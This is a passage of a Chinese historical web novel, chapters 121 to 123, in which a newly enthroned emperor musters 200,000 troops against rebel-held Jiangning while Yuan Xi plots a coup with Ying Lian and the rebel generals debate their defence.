第121章絮果飘摇沉复起，向日…… 不是子承父业，却是兄终弟及。转过一年，堪堪开春之时，三辞三让的戏码匆匆过完一遍，三王正坐大宝，登基为帝。 此一年为继隆二年。因三王即位，来路不正，欲要大显人主之能，又想掩人耳目，因此在元羲的谏言下，将改元之事暂缓一年，也免得祭天祭庙又闹得兴师动众。 新帝甫一登基，急待把稳手中权柄，又想做些万民称颂的事，寻来寻去，眼光便盯上了江宁。 先帝在位时，朝堂羸弱，不欲与江宁起战事，固上下皆有睁一目眇一目、与宁德军相和之意，久未发兵攻打。轮到新帝，便有些意动，不愿见宁德军再坐大，想要除之而后快。 然到底根基尚未稳，得位又有些不正，因此上便瞻前顾后起来，索性开了一回朝议，专讲那宁德军之事。 若论本心，新帝郭禧是想打的，且自负一身刀马弓矢之能，恨不得御驾亲征，剪灭叛匪，与朝臣们言语之间，便点出了三分意来。 没料想以几位三朝的老臣为首，不接这话茬，反倒提起去岁秋冬匈奴犯边的事来，说镇军大将军郑武陵又多求粮草军饷。郭禧好一阵闷闷不乐，却又不好发恼，只因那郑将军是元慈太后的母家人、先帝的表兄，拥重兵于边疆；先帝不明不白殡天，若他当真不依不饶，恐怕郭禧也坐不稳这龙庭。 “大将军屯兵戍边，本是劳苦功高，便多发些粮草军饷，也是应当。”郭禧捏着鼻子认了这么个讹诈事，又不理那几位老臣，目光放远，再问，“江宁匪祸日甚，万民以此为苦，何如？” 又有臣子来谏，道是度支不足。气得郭禧御案下拳头捏得咯吱吱响，差点骂出声来。 此时终有人出列上奏，正是新近才升任大理寺少卿的元羲。郭禧本也要点他的名，见他出班言语了，胸中一口闷气便散了一半。 元羲果然明晓帝意，力主一战，且给出的理由无可辩驳。 “昔春秋时，三家分晋，本害正统，当为诸侯所攻灭；然前周室天子羸弱，竟坐视其大，且允其裂土，三家由是正名，诸侯再无攻伐之理。礼崩乐坏自此始。今我朝比之周室，地愈广而国愈盛；彼贼人仅踞一城，远逊韩、赵、魏三家列卿。剿绝之势，如箭在弦上。不然，如其效三家之不义，而我大周竟拱手壁视；当剿时不剿，欲剿时已而不能，岂不学前周之自取灭亡？” 首列几个老臣仍欲辩奏。郭禧却点头，望向一边心腹的武将，便有亲信将首出班附议，言辞凿凿。郭禧听罢主战之言，胸臆长舒，竟不再给余臣说话的机会，起身罢朝。 私下里又留了元羲说话，只在资政殿的小书房里，以示与臣子的亲近。 元羲主战，还有个不得不如此的理由，只是朝堂之前不好明说。此时君臣二人相对，他便将话无所保留地讲了出来。 “官家得位，虽问心无愧，然终有人不服，究其根本，是因兵权未稳。江宁需攻伐，官家也急需如此一役，待贼匪诛尽，将士齐心，官家可将兵权尽掌于手，到时便再无人有二心。” 一语正中郭禧隐秘之处。 郭禧颔首，连声道：“墨池甚得朕心，可为股肱！只是边疆乃朕的心腹隐患。郑将军是先帝的戚党，恐怕难为朕所用……” “郑将军是个粗豪忠正的武夫。”元羲宽解上意，“他如今要粮草，正是不知官家如何发落他、为着试探帝心之故。官家只当厚恤他军民，粮草辎重较以往更丰，以示安抚，他今后必以您马首是瞻。” 郭禧觉着十分有理，心中又对元羲倚重了三分，不觉面上漾出了笑意。 以往便知他是个潜龙似的人物，如今再一观量，果然无处不好，当真是君子如玉、国才之器。郭禧与他又商对了一些时，讲罢正事，便提及了他家人。 “元翁身子可安好？朕心中一向挂念他，听闻你父兄回了祖籍池州，虽是山水秀丽，他却不当只图闲散隐逸，还得替朕多担一担冗重之事啊！”郭禧道。 他话中明白清楚地透出复起元氏之意，本以为任元羲怎样老成持重，到底一后生新官，也该面上禁不住喜色；却没想对方听了，不悲不喜，只是沉默片刻，拜上说了一句：“我父书信之中，常悔恨应氏祸愆，自言不该陷清正于不复。” 即说罢，久久未曾听帝君有何反应。元羲微垂首，余光却见他于御椅之上，仿佛定滞了一般，也不知心中有多少惊涛骇浪。 半晌，郭禧才拾起话头，道：“卿身正心清，元氏有子，夫复何求。” 便也不再提那复起元氏子侄之意，匆匆揭过了话头。 没过几日，天子为春社祭祀宗庙，行驾归来，分赏社肉社酒。余人皆由礼官传赐酒肉，唯独元羲那一份，为天子亲手赏赐。 去岁门前可罗雀，今朝车马沸盈声。从此大理寺元少卿炙手可热，更胜从前。 登位之初，总有这样那样的冗事，有的没的，都烦到郭禧跟前，比他从前为王时更芜杂。郭禧本是马上的良将，不怎么爱理会奏疏国事；初初一二月尚可，如今春暖，困在各殿之中，或披奏、或听经筵官讲学，实在心中乏味，便将眼光复又放到了后宫之中。 先帝的嫔妃们遣的遣、散的散，如今宫苑里佳人彩女尽属他有，郭禧今日幸一个、明日幸一个，总想着群芳之中遍览一览，方不失为人主之乐。 这一日拂了积案的奏疏，郭禧兴致来时，携了几个心腹的中贵，随意到得宫后苑里游春，但见草长莺飞，观不尽的池 园春景；又有那中贵人随问随聊，谈说起各朝后宫的纷纭旧事。郭禧听得有滋有味，转过一处一处，信步而至，也不知到了哪一宫，人烟逐渐稀落，忽却听得某处宫墙之中，隐约传来哭声，颇感败兴，又总有几分好奇，便唤中官，“去，探探是谁人在哭。” 中官诺诺而去，不过多时，果然从一个小园内，领出一穿青绿的宫人来，乌鬟垂垂、雪肤盈盈。她微低着头，郭禧瞧不细致，通身看来，窈窕秀丽，行步分花拂柳，是个难得的衬景人物。 郭禧稳坐一池畔凉亭，受过宫人一礼，“抬起头来。” 那女子闻言抬头，不敢直面天子，只将乌黑的睫毛密密垂着，向他脚面上看。郭禧看时，她泪痕犹在，好比垂露的海棠，凄凄艳艳。 “你是哪一宫的，在此哭泣？”郭禧心中几分恼怒在望见红桃粉李之时便已烟消，所剩便是对此女的一番兴致，“是同宫之人欺凌于你么？” “并未。”她轻声答，音色也好听，带着柔顺恭淑。 郭禧问：“是想念家人？” “并非。”她又答。 “那是为何？难道是不满朕所治处？”郭禧沉了沉脸。 宫人这才跪倒，口称恕罪；虽称罪，言语之中却十分沉静，“奴哭，是因哀悼先帝。” 此话一出，非但郭禧阴沉了面色，连他身边的中贵也骇然震惊，侧立在天子身畔，连连拿眼色示意她。 郭禧声音不辨喜怒，唯眸光森冷，“好一个忠心的奴婢，想必先帝曾恩宠于你。” 哪想那宫人却又摇头，“并非。奴虽曾侍奉先帝，却是被迫，非出本心。” “既是又非，怎么是个如此反复的性子！”郭禧被闹得烦心，又被吊足了胃口，忍不住训斥。 此时，那中贵却向他悄声耳语了几句。 郭禧挑了挑眉，“竟有这事？” 他令她起身，耐下了性子，教她将前因后果细细将来。 “奴住的这蕙兰台，原是有主，是先帝曾宠爱的一位祝娘子。她获准宫禁内外行走，不想却恃宠生骄，一日逃出了宫掖，使得先帝恼怒伤心。祝娘子虽有错行，却实实地对奴仁厚。她是奴的主人，先帝恩宠于她，便是对奴也有恩惠。”宫人道，“故此，心中不但不敢怨，且要洒两滴泪，权做祭拜。” 郭禧听来，只觉新鲜稀奇，细细一想，又十足地对她刮目相看起来，“如此说，你倒是个有情有义的女子。你姓字为何？” 那宫人深深下拜，“奴姓范，唤作碧云。有个小字……” 那中贵倚着旧日侍奉郭禧的情谊，轻斥道：“官家问你名姓，何曾问你小字了！” 郭禧却双目凝视，在她眉眼鼻唇上游走，竟隐现了一点笑意，摆了摆手，“无妨，讲来。” 范宫人似乎才及反应，受惊似的微红了脸，目光不觉与他相触，一触即离，抿了抿小巧的朱唇，声似飘絮，轻轻拂进了帝王的耳里，“奴小字……小字泰娘。” 中贵以眼色示意凉亭外垂首而立的内侍，教将一向温来备着的清茶奉上，金注银盏皆齐盛在亭中白玉石桌了，却缓了缓，并未斟茶来。 范碧云按捺下砰砰乱跳的心，悄然掀了掀眼帘，一扫之下，望见的仍是郭禧睥睨恩赐一般的微笑，以及他身背后微不可察示意自己的中贵。 她悄悄深吸了一口气，内心却稳了三分：前几日搜尽了蕙兰台众人的钱财，没有使不到的坏处。她予了多少好处给这阉人，今日统统尽得还报了。 鼓起勇气，她只当自己胆大鲁莽，恭恭敬敬地上前来，没及任何人发话，将金注子里缠枝莲花银盏执了，一面拭净了温水，一面巧巧地斟了一杯，双手奉在郭禧跟前。 一时间，斜斜的日头暖而金黄，点点摩挲在她暖玉嫩柳似的双手上，执着的那玉瓷样小杯，画不尽的活色生香；一时间，瞧在帝王家眼里，勾起了十二分隐欲。郭禧眸光深沉暗潮，受了她一敬奉，却将茶作酒，满饮了一杯。 是夜，官家召蕙兰台范宫人侍寝。 鸾凤一宵。次日，亲由天子口授皇后入册，示意擢为嫔御之列。 女官点检往昔内起居注，报于皇后。皇后深以此烦恼，“她是从前先帝幸过的宫人，怎好即今又侍奉在侧？” 当下札奏奉于帝王书案；不一时回来口谕：“未及在册，便不算悖伦。少要聒噪，办去便是。” 皇后无法，只得将嘴眼一闭，昧了心思，把范碧云的名姓籍贯添在了九嫔的大册上。 第122章 第122章荼蘼三春尽，莲花并蒂…… 自应怜回洛京，将父母、兄长的衣冠冢立起，重修了家庙，四时八节香火不绝。春社后一些日，到得清明，便要做一场大祭，延请僧道设坛做醮。 原想着自个儿主持便罢，却没想元羲登门，代了她多半的事体，忙前忙后，将一应琐事打理得井井有条。他两家离得本就不远，早至晚归，十分熟稔。 渐渐地便有些风声传出来，有那到应怜门上道喜的，言语间尽有元羲将与她修旧好之意。 清明过了，各样僧道俱被请回，却又有一起花匠，携着竿索橛杈到家，后头且跟着一同而来的元羲。 应怜迎上来，问：“你这是作甚？” 元羲束冠郎朗、襟袍展展，今日值朝回家，先换了一身闲雅的，才来见她的面，闻言指着竿杈道：“你那西面园子里，我瞧当中少副花架。今日闲来无事，便为你打上一副，栽上荼蘼，再过几月，便能见素云珠海的花盛光景。” 应怜想了半晌，一拍脑袋，笑了起来，“早二年前说的事，你竟还记着。” 那时许是在江南，他万里迢迢地找寻来，兴致勃勃说要与她栽些荼蘼。 比之从前，他如今要老练得多。应怜瞧着他有条不紊地令人东来西去，敛了一身清贵光华，仿佛真如个平常的邻家子，兄长一般地照应她。 花架架起，荼蘼栽下，一丛一丛以栏杆护持着，不教狂风乱雨吹打了去。 元羲也在她身旁盯着。他带来的小厮元兴正与花匠们吩咐着什么。应怜想起来便问：“久不见元平，他又为你办哪桩事去了？” “那厮惫懒，被我遣走了。”他随口答道。 这倒使应怜有些纳闷，格外多扫量了他两眼。元羲瞧见，换了个话头，“许是下月，我去城外烧香，你陪我一陪？” “去就是了。”她应下，只是又有些迟疑，“听闻近日京畿校场点了大阵仗的兵，通衢之上早晚有传报的骑校，可是又要攻伐了？” 他点头，“军纪要务，我不便就与你透露。下月烧香，你一定要来。” 应怜又答应一声，掩下心中不安。一些日来尽听人言，校场点起了十数万的兵众，也不知是要发向哪里。有人道去关防，有人道去京东路，更有人道——是去攻江南的叛匪。 四月初，元羲果遣人来请，要携她去城外上香。 应怜昔时在家，上香俱往城南的香山寺，元家也是如此。这一回却不同，车马带去的却是城东门外二十里一间不大的山寺。到得山门，门楣上题着“白鹭寺”，向山而上的一条路窄小而陡峻，不比大的山寺平缓，难怪人马稀至。 早有小沙弥等候在山门外，迎奉上了山。上行一段，应怜气有些喘，不觉放缓了步子，遥遥望见山腰，老旧石阶之上、婆娑掩映之下，隐约有个戴席帽的文生，穿的一身天青直裰，长身玉立，风采耀日，即便望不见面容，也无端使人自惭形秽。 应怜却再熟悉不过，正是元羲。 元羲带她上山，见她气喘，便走走歇歇，好一会才至山顶，但见一座不大的寺院，四面只一道粗砌的山墙，内里一望无遗，不过一 二间单房而已，不用想，也晓得香火冷落。 “你怎么找了这样一座不显的山寺？”她擦了擦汗，问。 “山不在高，有仙则名。”他道，一面领她入内，果真进了一炷香，佛前拜愿，“庙宇又何须大，如愿则灵。” 他已摘了席帽，跟来的小厮元兴捧着，领命先下山去了。应怜望着他似虔诚的侧脸，鼻直唇朗，是一副再隽秀沉静不过的样貌，饶是自己看惯，也不由为之赞叹。 “你的心愿又是什么？”她问。 元羲进毕香，闻言想了一晌，才开口：“你问从前，还是如今？” “从前又如何，如今又怎样？” “从前么——你莫要恼——是想娶你。”他见她果然瞪圆了眼，颊面浮起薄薄的红，就要发恼的模样，不觉便笑了，回了几分往日的少年风姿，“你笑话我没大志向么？我确没什么修齐治平的心愿。不怕你更笑，岂止是想娶你，我还发梦想要赘去你家。” 白鹭寺实在是小，除了先前山门下迎接的小沙弥，这一时便只出来个颤巍巍的老僧，又聋又哑地向后室里奉茶。那茶也粗，不知是哪一株野树上采下，苦涩熬牙。应怜喝不上两口，又不愿仄在狭小的后室，便与元羲两个出了后门，临着一处山崖坐下了。 山风浩荡，清气寰宇，吹彻人眼目，望见寥廓的天幕下，遥遥二十里如弹指；洛京方正，南北通衢、琼楼玉宇竟皆在眼底，纵然望不真切，也隐隐得见一派纷纷的如潮涌动，那是各街市坊巷中人马穿梭，好一派竟如海市蜃楼一般。 她望得不移目，从未见如此天城盛景，一时被波澜壮阔之色所怔，痴痴地盯着，心潮迭起，连方才元羲惊骇世俗的入赘之语也忘了。 好半晌，应怜才从震然中回过神，赞道：“好一番盛世的光景……” 说未罢，心中不知怎的却划过了许多不相衬的场面：度尘青黑凄惨的面、润州破落的连片荒屋、伏牛村的章杏娘、千方百计投来宁德军的流民、忍疼编苇箔的孩子…… 天城盛景，那是一株扎根极深的盘曲的树，吸饱了四围百姓的脂膏，反哺滋养出血肉、皮毛皆光鲜亮丽的兽。 元羲指着城外一处突兀的彷如青黑流沙般的所在，道：“若是铁蹄踏破，还能存几分盛世光景？” 应怜微惊回神，依着仔细去瞧，那一点点四四方方的斑驳，连成一片，好比苔藓、好比污渍，却更为鲜亮，不时映照出明晃晃的日色。 “那是……禁军？”她不敢确认。 “二十万禁军。”元羲接话，替她做了确认，“一些是周边近日征调而来，一些是常年操演的精兵。” “要去征战何方？”她艰涩地问。 他望着她，分明近在咫尺，却彷如隔了江海，丰朗的唇中吐出两个幽沉的字，“——江宁。” 应怜一时手足冰凉，不知作何反应。虽隐隐预见宁德军与官兵之间，最终总有一战，但万没料到，情势如此之急，这一日来得这样快。 太仓促了。 她离开时，江宁虽蒸蒸日上，单铮等人殚精竭虑，也不过才三万的兵众，与沂州军二三万兵马遥遥相扶持，又怎敌这样一支训练有素、铠甲精全的二十万官兵？ 她又一次想到宗契，心中便似绳索纠缠了一般，狠狠地一痛。宗契那样的为人，哪怕心中有所牵念，也绝不可能弃城做个背信之人，城若难保，他必万劫不复。 应怜不说话，元羲陪着沉默一会，不知是不是怕她怨怒，便为解释，“官家轻率易怒，攻江宁之心急切，不愿再蹈黄仲骕、六王等人覆辙，因此此一回发重兵压境，便有一举剿灭之意。” “六王陷在江宁，他就不怕投鼠忌器……”她急切切说到一半，生生咽了回去，浑身一冷，讽笑起来，“手足相残的事也不是没做过，怕什么投鼠忌器。” 元羲毫不介意她的大逆不道，复道一句，“六王在江宁。” 六王郭显，仍在江宁。应怜心中默念，半晌微微悟明，迟疑瞧着他。 话至此时，才是日将正午，却有急促沉重的脚步声传来，惊动了二人。应怜回身看时，但见一道旋风似的人影，一身粗布麻衣，摘了顶头箬笠，露出一张晒得黑黝黝瘦棱棱的脸，咧着嘴径向此而来。 他一身风尘仆仆，惊了应怜满眼，腾地起身，瞧看仔细了，“元平！？” 元平扑扑身上尘土，也不顾腿绷已是污泥深色，先喜气洋洋地一拜，“应娘子！四郎！” 应怜才及醒悟，为何元羲要舍了大庙，非至这破落的山寺来烧香。 元羲向他点头，“辛苦，事可还顺当？” “顺当！”元平一路上山来，累得热汗直喘，接了应怜递来的粗茶，也不讲礼节，咕咚咚牛饮得一滴不剩，才道，“我这一程可快，一个月不足，便已一个来回！话不絮叨，四郎，你教我办的差事，我全办妥了，那头尽晓得事体，只是也为难，巧妇难为无米之炊，他通共人等不过五万，这个难关怕不好过。” 应怜听了个真切，心中约略明了，又掀起一阵惊涛。 不消说，能使动元平亲自往赴一趟的地方，除了江宁，再无别处。元羲对外只道打发走了他，实则这样机密的事，也只得元平这样的心腹做得。 元羲又问：“可估说了哪时将至？” “若不遇敌阻，一路行来，少说也得两个月。这还是快行，否则半年、一年，都说不准。”元平说着，放眼望向二十里京畿处，狠狠一皱眉，“怎么，集结如此，竟已要开拔了？” “是。他已等不得，谕令催了三番五次，辎重已先去了，大军不几日便要开拔。”元羲叹道，“我已尽力拖迟了大半个月，再多的时间，也争不得了。” 元平方才一身归家的心喜已渐渐消散，口中却仍宽慰，“六王极有机略呢，他定能想出万全的法子的。” 说着，忽想起什么，又展开来眉眼，从怀里掏出一物，却仔细地交与了应怜，“这是我来时，高僧托我带来的。我这一路过州县，重重搜检，书信万不能递，好在这物件他们不稀罕，才留了下来。” 应怜几乎惊跳了起来，方才种种揣测，到今统统化为激荡心间的一股情绪，收了那巴掌大的雕花小匣，顾不得打开来瞧，急急地问：“你见着他了？他如何？一切可还好？他、他怎样说？” 元平被她连珠炮似的发问，赧着脸笑起来，却又拿眼瞥了瞥元羲，见他早已别过脸去，仿佛观览山色，这才道：“好得很、好得很！他还是那般又威风又仁慈，教我递话，说不要顾念他，你在家时，需多餐饭；春寒才过，不要急着换单衫；出门需多带随从家人……” 他一句句地说，应怜一字字地听，眼眶逐渐发热，却又在人前觉着难为情，心中又喜，元平讲一句，自个儿便跟着点一点头，又问了许多旁人等事。元平一一回答了，又道：“娘子且打开匣儿瞧瞧。” 应怜这才想起瞧那里头是什么。 雕花的小匣揭开盖儿，里头又是一重更小的锦盒，再揭开，内里盛着一灰素的锦囊，小小的不知有何宝贝。应怜挑起锦囊，松了络子口结，却倒出来三粒饱满硕壳的物事，硬梆梆、青黑黑、圆滚滚。 “莲子？”她拈起一粒，只觉石子儿一般，不住地好奇。 元平嘿嘿地笑，道：“我也说，怎么这不赠金、不赠银，也没见递个汗巾头钗，却千山万水送个什么莲子。高僧只讲拿来种下，我问是什么天心莲黄金莲，他却也不说，只教一定带到，我这不就带送来了。” 应怜心里头猫挠似的，珍而又珍地将莲子依旧重重存好了，扭过头来，却恰好与元羲对瞧了个真切。 元羲清明的眸中，盛着不知是什么的情绪，对上她时，略怔了怔，展露出一个极轻的微笑。 那笑意很淡 ，也十分真，从前每每听到“宗契”二字便生的嫉妒怨愤，如今终化为了豁然，不过只残剩了几分对往昔的遗憾。 “我正有一事，思来想去，求你帮忙最是稳妥。但也不知你肯不肯。”过后，他道，“此后必定一场争斗难免，他自家内讧，总要少牵累无辜。我有个计策，只是不大能上得了台面。” 应怜认真瞧着他，“但讲无妨，若能免生涂炭，我怎么不肯。” 元羲便指着山下洛京里最恢弘高大的正中一点，道：“那里，是帝王所居。宫禁层层，水泼不进。他为骨，文武百官是裨附的血肉。唯有天子出、百官缺，这座坚城，才能不动声色地易主，便如那夜兄终弟及。也只有如此，方免两虎相争、殃及无辜的惨事。” 她静静听着。 元羲从她双眸望进心底，剖开自己的一颗心，与她坦诚相见。 “自然，我也有一点私心，想遂了曾有的念想——惜奴，你嫁我一遭，我予你做一场最风光的亲迎礼，全了六礼之缺，教你做天下女子最艳羡的新妇，如何？” 山风盈耳，映日暄暄。 这真是个好计策，也是真荒唐。她怎么就肯答应做饵？他又怎么就开得了这口？ “我不明白，”她蹙眉，“你是天子最器重的新臣，将来可登峰造极，却为何要甘冒大不韪、行此谋逆之事？” 元羲却泰然，与她席地而坐，久久望着春日城池之景。 “那据你说，我这样前途远大，你又为何舍了我，却去就一个化外的僧人？我比他又哪里不如？”他平静道。 应怜反驳，“心本如此，这哪里是能比的？” “那便是了。人可比，情怎好比。只因他故，我失一切所爱，无论是你、你的兄长，还是我父亲。”元羲目渺渺，遥望帝京宝殿，照日之下微微眯起眼，“你说，我怎能不怨极了他？” 他们沉默了半晌。应怜终道：“你……你让我想想。” 这日便在山寺里用了斋。元平不入城，依旧别去；元羲车马送应怜归家，二人于应宅门口相辞。 天气已然温暖。不劳旁人动手，应怜亲自将宗契送来的那三颗莲子剪了壳，又寻来一素白的瓷钵，日日温水得当，暖照下看养着。 她瞧那黑秃秃的莲子时，心中便想着宗契，想他挑来挑去，也不知挑了什么样的莲花；又不知战事迫近，他是否愈发地忙碌，以迎那不知生死的鏖战；又难以避免地想到，若他实在过不了这关，就身死了，那茫茫世海，她便又失了定锚，孤舟该漂向何处。 便如此，从白到黑，从昼至夜。几个轮转，时时在夜间惊醒，应怜心中总惶惶不定，披衣起身，便去瞧那清水里莲子。 一日想了半夜，迟至黎明才昏昏地睡着，天一亮，又仿佛见他浑身沥血地苦战，一惊来便醒转。应怜望着照入窗扉的日头，叹了一声，如常去瞧一眼那莲子。 一见之下，却微微怔住，不由惊喜。一脉碧丝已抽出破茧，新绿惹人，三颗莲子皆已出芽，沐着蒙蒙的晨曦，欣欣待发。 应怜眼中望着新莲，心中也仿佛有什么倏然破土，一念忽彻明彻清，百感交集。 与他的安危相比，与那些少流的无辜鲜血相比，便做一场虚与委蛇，她又能如何。 她唤来女使，教去元家一趟，虽有经宿的憔悴，春水的眸子里却折射出了粼粼的光彩。 “你去见元官人，便与他说，我应下了。” 第123章 第123章百人百口百样心，殊途…… 元羲所说不差，四月才望日，浩浩官兵自洛京开拔。水师艨艟、陆师车马于城南祭旗誓师，而后如乌泱泱漫卷的黑云，一路向东南而去。当中又有先锋精兵二万，急行军先至江南东路，与周边镇守的宁德军相抵，几场恶战，相互损失人马无计。 然宁德军兵马有数，朝廷援兵却不绝。新帝郭禧不计代价，又将各州县所缴之税上拔三成，哪管他民怨沸腾，铁定了心要绝江宁匪患。因此辎重粮草源源自京师而来。江宁周遭几个州府，宁德军困闭坚城，几番拉锯，终究不能守，战将或死或退，又有十几地飞书急传江宁，请兵求援。 江宁城中，气氛焦灼如沸釜，哪怕一滴油星，都能将军心民心炸成一锅乱粥。 好在前有元平传信，单铮早得了消息，已向沂州去书，要沂州军南下驰援；如今回信已至，那处陶慨应了率本部人马十之七八拨来相救，好解燃眉之急。 接连月余，中军帐里常常会至夜深，议论官兵压境之事。 “日前滁州已失，咱们向北的屏障，十已去六。他处官兵丧损虽多，却总有后援。比家底，咱们必定比不起。”钱美才退拒一支试探夜袭的官兵，此时铠甲未除，不顾通身的血污，点指舆图上已失之城，“滁州据此不过百里。官兵不日便至，咱们得有个对策。” 单铮得用的战将围列在侧，皆眉头紧锁。军师林文贵指了指所剩几处为屏障的州城，道：“分兵不是良久之策。这几处城池迟早为敌所克，不如将守兵召回江宁，咱们便以天堑坚城为守，与他相峙。” “相峙，而后呢？”单铮道，“坐困于此，眼睁睁见孤城守至最后一人么？” “那趁他大军未来之际，咱们徙去别处，可行？”李三郎问。 此计在两可之间。不是没人想到过这一点，只是如今不比以往，他们还是游散山林的流匪，聚也容易、窜也容易。如今宁德军称得上家大业大，再要散入山林万不可得；只是若要迁徙，急切之间，又能迁去哪里？ 吴览沉吟已久，此时计议，“若要徙，倒是有个现成的去处。” 众人皆望来，等他言语。 入了夜，一室灯烛愈发晃眼，携着摇动不休的光亮，向他游移的指节投下阴影。阴影自东而走，溯江跨河，直到了南蛮瘴地。 “川蜀。”吴览道，“自江宁向西，过蜀道，入邛笮，关隘险绝。只要咱们留一息尚存，占得蜀地，以此为根本，便能与官兵相抗，而后再徐图中原不迟。” 林文贵点头，“军中有历经数战的老兵，便是从川蜀而来，若要去，军心必然相从。” 正有人附议此计，纷纷道是一条明路，单铮之下的赵芳庭却抬手，斩钉截铁，断了人念想。 “蜀地不过一时稍稳，怎为长久计？从来只闻入蜀入蜀，一旦入了，哪还有再出之日？”赵芳庭冷笑，“便是诸葛孔明，也只得困死当中。诸位比诸葛孔明又如何？难道咱们涉足百战，只图做个安乐的富家翁么！” 单铮为主帅，智计良谋种种，全待他或应或否。如今生死关头，一旦所虑差失半点，便足以覆灭整个宁德军，不得不殚精竭虑。他已不知几日夜未阖眼，全心思虑的便是这一场对敌。 兵势悬殊，好比以卵击石，他如何不知。 “宗契，你怎样看？”他扫视众人，三巡后，目光落在宗契极有压迫感的身量上。 宗契已除僧衣，半身衷甲如玄铁，更衬了身形岿巍，眉宇中缀沉星落海，疏朗而幽深。他不能如文人说得头头是道，只单刀直入，问：“何不绕道北上，避开官兵锋芒，直取洛京？” 林文贵反问：“怎样避？怎样取？” “发精兵，疾行取道庐州、信阳，过淮河，自武胜军北去，直抵洛京。路途虽远些，却能上避官兵陆路、下避自淮入江的水师。”他道。 “过为鲁莽！若他察觉，后方直追，切断了我粮道，我岂不成一支孤军！”吴览断拒。 话入各人心。赵芳庭却被激起了一丝光彩，深想了一回，不由得豁然开朗，“诱敌，守城，虽难而可行。” “诱敌以拖延。官兵既发二十万，洛京必定空虚。咱们先设一支饵兵，引诱拖延，将他困在此；却发精兵背道而出，南路取北，直抵洛京。后备一军坐守江宁，若他 攻打，这一支人马与饵兵前后照应，可保江宁不失；若他察觉不对，回师去救洛京，后备军便可出江宁追击，扰其军心。” 他循循解释，十分透彻浅显，却格外有一种坚定的残忍，若置人于薄冰之上，使人战战兢兢。 依计而行自然是好的，然而障碍也十分明显。 ——再有怎样好的计谋，在绝对的优势兵力面前，也不过是玩闹一般。 宁德军不过四五万，沂州军更少，怎样抵抗二十万官兵？ 众人相望，眼是心窗，互相从对方眼中望见了以死图效的心。 年轻压不住性的李三郎，率先笑了一声，眉梢眼角竟挂上了轻松的喜色，“好说，杀他几个，死了也赚！” 一室凝阻的气氛竟为之一扫，不知哪人行走的风刮动了烛焰，仿佛连火光也为之雀跃摇动。将领们围簇在舆图与单铮周围，相互也笑了起来。 水险山恶，都已走到了这一步，还怕个什么。 唯死而已。 当下又补充了些细节，以备种种状况。单铮亲笔写了急信，教斥候星夜驰去沂州军陶慨处，讲说计策分明。 才遣去斥候，又打发了众将歇息，单铮抬眼环望，忽见一个瘦小的身影，伸头缩脑在门槛外窥听，叹口气，喝道：“小山，进来！” 一年多来，身量高了不少、却仍稀瘦的陶岳猴儿似的一个蹦窜，便窜到了近前。 “你入夜不睡，外头瞎踅摸什么？”单铮道。 陶岳是他的义子，这一二年尽学了不少他家传的枪法，又将宗契的棍、鬼面人的剑等等也不知学了多少，养成了个天地也不怕的野性子，只是敬慕单铮，又十分地畏惧他。 “就睡、就睡！”陶岳睁着一双凸大的眼，半毫儿睡意皆无，绷着脸，却止不住地咧嘴，“义父，我爹可是要到了？” 单铮连日不寐，见他这模样，倏地反去了几分疲倦，忍不住一笑，点点头，“我还能藏了他不见你？急什么，快去歇了！” 自随来江宁，陶岳便再未回过沂州，此时见说他爹陶慨当真要来江宁，喜得不知如何是好，嘴咧到了耳根，半晌学着大将的风度，重重抱了一拳，应一声“是”，蹦着便出了中军帐。 单铮心中将他作亲子一般看待，直瞧着他没入夜中不见了，才扭回头，却见赵芳庭仍未走，心事重重，欲要说的模样。 “怎么？有话不便人前讲么？”他问。 赵芳庭先是沉默，而后道：“哥哥，你觉着方才的计策可稳妥？” “计是好计，只是……”他两人自小伴着长大，亲兄弟般的情谊，单铮种种的心事再没瞒着他的，“兵力不敌，实在无法。” 众将跟前，他为主将，便有一些扫兴的话，为着不动摇军心，也得自个儿肚里吞了。可即便不说，他心里却明镜也似，没奈何，对着赵芳庭，才沉沉地叹了一声。 赵芳庭却道：“若我有法，能搬来十万援兵呢？” 单铮揉了揉额角，“莫要玩笑，你难道有呼风唤雨的能为？” “我说有，那便是有。只是哥哥未必肯要。”赵芳庭毫没有玩笑的意思，“但哥哥要晓得，咱们此时，已危在旦夕。城若破了，多少年经营一朝俱丧，家国的仇又谈何去报？” 单铮的目光沉凝起来，直直盯着他，等他即将说出口的话。 “援兵十万，自边防西凉府向东，便不远赴江宁，只临洛京，足可解我军燃眉之急。”话既出口，赵芳庭再没什么好顾碍，“边关总将——镇军大将军郑武陵，是那位先帝的表兄。皇帝死得不明不白，他自然不会甘心。另有，那六王郭显与先帝虽不是同母所出，却也从小长在元慈太后膝下，是名义上的嫡子，与先帝相交甚笃。比起当今的天子，郑将军定更属意六王。且边军向来对抗匈奴，久经历练……” 单铮面色骤变，一咬牙打断他话，“你也晓得，边军对抗匈奴！那你此话出口前，可曾料想，一旦边军回师，边关百姓又如何？匈奴铁蹄南下，关内苍生又如何！” 赵芳庭也有些恼，说是恼，莫若说犹如被揭穿的耻辱与惭愧，悉数更化作愤恨，“先自保而后保人！咱们眼前且要断绝，还谈何百姓苍生？他边关的百姓是命，我江宁军民十万便不是命？” 单铮目眦欲裂，却一时无法更说，眼睁睁望着他亲如手足的兄弟，不可置信，起先震怒，而后却心生了悲意与痛意，心念了一遍又一遍：罢了、罢了、罢了。 旁人不知我，旁人尽能说此，你又怎能说？你难道忘了，我与你是因何杀官造反？ 当初胡虏侵边，烧杀淫掠，满地的血、漫天的火，你趴在死尸上哭，难道也尽忘了？ 咱们受过的丧亲之痛，如今为了什么，又要教无辜百姓再受一回？ 他气涌心头，仿佛血也倒涌，只觉眼前发晕，竟一力不支，撑着桌案颓然倒坐椅上，慌得赵芳庭忙来搀扶，哆哆嗦嗦地递上水，惯能说道的一张嘴，语无伦次起来，“哥哥，你别恼、你别恼！再有气，打我骂我便是，莫伤了身子！” 单铮一言不发，也不瞧他，一双眼死死盯着舆图，盯着西凉府，额上青筋突突地颤，半晌方才压着自己缓下来。 赵芳庭满嘴的苦涩，发慌发窒，却终究不能甘心，忍了又忍，见他和缓了，才又慢慢地劝道：“哪样不难？哥哥，咱们起家难、创立难，如今守业更难，大小阵仗过了无数，死散了也不知多少弟兄，他们那些家眷，难道就不难？哥哥啊，慈不掌兵，你想那如今的皇帝又能是什么明君？他为置气便能兴兵二十万，又涨赋税，闹得民怨沸腾，若他再坐天下三五年，莫说边关百姓，这四宇海内，哪里还能聊生？” 